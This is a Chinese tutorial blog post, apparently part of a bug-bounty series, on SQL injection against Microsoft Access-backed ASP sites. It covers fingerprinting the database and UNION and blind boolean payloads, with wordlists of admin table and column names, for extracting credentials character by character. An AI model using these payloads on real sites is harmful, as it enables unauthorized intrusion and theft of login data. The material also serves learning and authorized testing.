【SRC挖掘】Access数据库SQL注入(上)——怎么判断是不是Access数据库?在SQL注入中Access数据库有哪些特性?Access数据库有哪些攻击手法?

Access数据库

Microsoft Access 是 Microsoft 的数据库管理系统 (DBMS),它将关系 Microsoft Jet 数据库引擎与图形用户界面和软件开发工具相结合。它是 Microsoft Office 应用程序套件的一部分,包含在专业版和更高版本中。

Microsoft Access 特性

Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行。

在这里强调这个,是因为access数据库虽然也支持order by 、union select 、布尔型注入,但是由于不存在注释符,所以在手工注入的时候,需要注意,以及想要绕过waf规则的时候,就不要浪费力气写啥 == /**/ ==这种了

判断数据库类型

拿到一个网站首先判断结构,一般Access的数据库网站架构是这样的:
iis+asp+access
asp的网站一般搭建的数据库就是mysql或者Access
判断方法也很简单,若带入and (select count(*) from sysobjects)>0
,由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库语句,and exists (select * from msysobjects)>报错时即为access数据库,如果报错可看报错信息来判断是否在access数据库。

不同架构下的报错信息

Apache(PHP)
Fatal error: Uncaught execption ‘com_exception’ with message
'Source:Microsoft JET Database Engine Description: […]

IIS(ASP)
Microsoft JET Database Engine error’80040e14’

access攻击手法

1.access注入攻击片段-联合查询法

判断注入位置

这和别的数据库一样,都是order by
xxx.asp?id=1 order by 列数

2.access注入攻击片段-逐字猜解法

select name from MSysObjects where type=1 and flags=0

这句话可以直接查询MSysObjects这张系统表,里面记录得有一些我们创建的表的信息,(例如里面有多少张表,表的名字、创建时间等等),很明显,我们就是要从这张系统表中获取我们要的表名,但这个方式一般不会成功,因为这张表不是管理员是没有权限查看的,所以对Access数据库查表大多数我们只能进行猜解

猜解表名列名

xxx.asp?id=1513 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名字典

或者这种方法
查表:and exists (select * from 表名)
常见表名:

admin
admins
admin_user
admin_usr
admin_msg
admin_login
user
username
manager
msg_user
msg_login
useradmin
...等等

提示:一般Access数据库有个表名:news,不过没啥卵用

查列:and exists (select 列名 from 表名)

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(列名) from admin)=5  //判断列名长度 =换成<=5也成立,下同
 
and (select top 1 asc(mid(列名,位数,1)) from admin)=97  //判断列名asciiand (select top 1 asc(mid(列名,位数,1)) from admin)=97
admin
admin_user
username
password
pass
pwd
users
usr
user_login
user_name
login_name
...等等
判断列的个数
and exists(select*from 表名 order by 个数)

判断列的字段名
and exists(select 字段名 from 表名)

判断表内数据的行数
and (select count(*) from XXX)>数量

判断列的第一个数据的长度
and (select top 1 len(字段名) from 表名)>长度

猜测xx列的第一行数据的第一个字符的ascii码值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>32 

由于top命令区别于limit,他只能是前几行,top 1就是第一行,top 2就是前两行;此时借鉴人家的,那就是使用联合查询,先查询前两条数据然后做一个倒顺序排列,这样的话将查询结果当成一个单独的表,而由于使用了倒叙,所以第二条数据就变成了第三条,再将查询结果进行判断前一条,这样就解决了这个问题

and (select top 1 len(字段名)  from ( select top 2 * from 表名 )  order by id desc)>2

这里可以用burp导入字典爆破,burp的操作就不在赘述。

  • 12
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

webfker from 0 to 1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值